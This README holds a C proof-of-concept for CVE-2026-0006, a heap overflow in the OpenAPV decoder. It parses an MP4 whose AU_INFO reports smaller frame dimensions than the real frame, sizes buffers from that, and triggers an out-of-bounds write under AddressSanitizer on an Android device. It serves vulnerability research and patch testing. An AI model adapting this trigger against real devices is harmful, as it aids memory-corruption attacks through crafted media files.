README.md
Rendering markdown...
/*
* CVE-2026-0006 — MP4 End-to-End ASan PoC
*
* Mimics the C2SoftApvDec decode path:
* 1. Parse MP4 to extract the APV sample from mdat
* 2. Strip AU_SIZE, verify aPv1 signature
* 3. Call oapvd_info() to get frame dimensions (reads AU_INFO PBU)
* 4. Allocate output buffers based on reported dimensions
* 5. Call oapvd_decode() which reads the real FRAME PBU → OOB WRITE
*
* Build (ARM64, ASan):
* $CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
* -I$OPENAPV/inc -I$OPENAPV/build_arm64_asan/include \
* poc_mp4_asan.c $OPENAPV/build_arm64_asan/lib/liboapv.a \
* -lm -o poc_mp4_asan
*
* Run:
* LD_LIBRARY_PATH=/data/local/tmp \
* ASAN_OPTIONS=detect_leaks=0 \
* /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "oapv.h"
#define OAPV_MB_SZ 16
#define ALIGN_UP(v, a) ((((v) + (a) - 1) / (a)) * (a))
static unsigned int read_be32(const unsigned char *p) {
return (p[0]<<24) | (p[1]<<16) | (p[2]<<8) | p[3];
}
/* Find mdat box in MP4 and return pointer to its data + size */
static int find_mdat(const unsigned char *mp4, int mp4_sz,
const unsigned char **out, int *out_sz) {
int off = 0;
while (off + 8 <= mp4_sz) {
unsigned int box_sz = read_be32(mp4 + off);
if (box_sz < 8 || off + (int)box_sz > mp4_sz) break;
if (memcmp(mp4 + off + 4, "mdat", 4) == 0) {
*out = mp4 + off + 8;
*out_sz = box_sz - 8;
return 0;
}
off += box_sz;
}
return -1;
}
int main(int argc, char *argv[]) {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
if (argc < 2) {
fprintf(stderr, "Usage: %s <apv_mp4_file>\n", argv[0]);
return 1;
}
/* Read MP4 file */
FILE *f = fopen(argv[1], "rb");
if (!f) { fprintf(stderr, "Cannot open %s\n", argv[1]); return 1; }
fseek(f, 0, SEEK_END);
long fsz = ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char *mp4 = malloc(fsz);
fread(mp4, 1, fsz, f);
fclose(f);
printf("[+] Loaded MP4: %s (%ld bytes)\n", argv[1], fsz);
/* Extract mdat */
const unsigned char *mdat;
int mdat_sz;
if (find_mdat(mp4, fsz, &mdat, &mdat_sz) < 0) {
fprintf(stderr, "[-] No mdat box found\n");
free(mp4);
return 1;
}
printf("[+] mdat: %d bytes\n", mdat_sz);
/*
* C2SoftApvDec::process() flow:
* sample = mdat data
* au_size_field = read_be32(sample) // AU_SIZE
* data = sample + 4 // skip AU_SIZE
* signature = read_be32(data) // check aPv1
* pbu_data = data + 4 // skip signature
* pbu_data_size = au_size_field - 4 // subtract signature
* oapvd_info(pbu_data, pbu_data_size, &aui)
* oapvd_decode(did, &bitb, &ofrms, NULL, &stat)
*/
if (mdat_sz < 12) {
fprintf(stderr, "[-] mdat too small\n");
free(mp4);
return 1;
}
unsigned int au_size_field = read_be32(mdat);
printf("[+] AU_SIZE field: %u\n", au_size_field);
const unsigned char *after_au_size = mdat + 4;
unsigned int sig = read_be32(after_au_size);
printf("[+] Signature: 0x%08x %s\n", sig,
sig == 0x61507631 ? "(aPv1 ✓)" : "(not aPv1)");
const unsigned char *pbu_data = after_au_size + 4;
int pbu_data_size = au_size_field - 4;
printf("[+] PBU data: %d bytes\n", pbu_data_size);
/* Step 1: oapvd_info — mimics C2SoftApvDec reading frame info */
oapv_au_info_t aui;
memset(&aui, 0, sizeof(aui));
int ret = oapvd_info((void*)pbu_data, pbu_data_size, &aui);
printf("[+] oapvd_info: ret=%d, num_frms=%d\n", ret, aui.num_frms);
if (ret < 0) {
fprintf(stderr, "[-] oapvd_info failed: %d\n", ret);
free(mp4);
return 1;
}
int w = aui.frm_info[0].w;
int h = aui.frm_info[0].h;
int cs = aui.frm_info[0].cs;
printf("[+] oapvd_info reports: %dx%d cs=0x%x\n", w, h, cs);
/* Step 2: Create decoder — same as C2SoftApvDec */
int err = 0;
oapvd_cdesc_t cdesc;
memset(&cdesc, 0, sizeof(cdesc));
cdesc.threads = 1;
oapvd_t did = oapvd_create(&cdesc, &err);
if (!did) { fprintf(stderr, "[-] oapvd_create failed: %d\n", err); free(mp4); return 1; }
/* Step 3: Allocate output buffers based on oapvd_info dimensions
* This is exactly what C2SoftApvDec does — trusts oapvd_info */
int bd = (OAPV_CS_GET_BIT_DEPTH(cs) + 7) >> 3;
int cf = OAPV_CS_GET_FORMAT(cs);
int pw[4], ph[4], np;
pw[0] = w; ph[0] = h;
switch (cf) {
case OAPV_CF_YCBCR422:
pw[1] = pw[2] = (w+1)>>1; ph[1] = ph[2] = h; np = 3; break;
case OAPV_CF_YCBCR420:
pw[1] = pw[2] = (w+1)>>1; ph[1] = ph[2] = (h+1)>>1; np = 3; break;
case OAPV_CF_YCBCR444:
pw[1] = pw[2] = w; ph[1] = ph[2] = h; np = 3; break;
default:
pw[1] = pw[2] = (w+1)>>1; ph[1] = ph[2] = h; np = 3; break;
}
oapv_imgb_t *img = calloc(1, sizeof(oapv_imgb_t));
img->cs = cs;
img->np = np;
for (int p = 0; p < np; p++) {
int aw = ALIGN_UP(pw[p], OAPV_MB_SZ);
int ah = ALIGN_UP(ph[p], OAPV_MB_SZ);
int stride = aw * bd;
int bsize = stride * ah;
img->a[p] = calloc(1, bsize);
img->baddr[p] = img->a[p];
img->bsize[p] = bsize;
img->w[p] = pw[p];
img->h[p] = ph[p];
img->aw[p] = aw;
img->ah[p] = ah;
img->s[p] = stride;
img->e[p] = ah;
printf("[+] Plane %d: %dx%d (aligned %dx%d) buffer=%d bytes\n",
p, pw[p], ph[p], aw, ah, bsize);
}
oapv_frms_t output;
memset(&output, 0, sizeof(output));
output.frm[0].imgb = img;
output.num_frms = 1;
/* Step 4: Decode — this is where the overflow happens
* oapvd_decode reads the FRAME PBU (64x64) and writes to 16x16 buffers */
oapv_bitb_t bitb;
memset(&bitb, 0, sizeof(bitb));
bitb.addr = (void*)pbu_data;
bitb.ssize = pbu_data_size;
bitb.bsize = pbu_data_size;
oapvd_stat_t stat;
memset(&stat, 0, sizeof(stat));
printf("\n[*] Calling oapvd_decode — if AU_INFO lied about dimensions, ASan will catch the OOB WRITE...\n");
ret = oapvd_decode(did, &bitb, &output, NULL, &stat);
printf("[+] oapvd_decode ret=%d (read=%d)\n", ret, stat.read);
/* If we get here without ASan abort, check what the decoder actually decoded */
printf("[+] Decoded frame: %dx%d (stat reports)\n",
stat.aui.frm_info[0].w, stat.aui.frm_info[0].h);
if (stat.aui.frm_info[0].w != w || stat.aui.frm_info[0].h != h) {
printf("[!!!] DIMENSION MISMATCH: oapvd_info said %dx%d, decoder used %dx%d\n",
w, h, stat.aui.frm_info[0].w, stat.aui.frm_info[0].h);
printf("[!!!] Buffers allocated for %dx%d but decoder wrote %dx%d — HEAP OVERFLOW\n",
w, h, stat.aui.frm_info[0].w, stat.aui.frm_info[0].h);
}
for (int p = 0; p < np; p++) free(img->a[p]);
free(img);
oapvd_delete(did);
free(mp4);
printf("\n[+] Done\n");
return 0;
}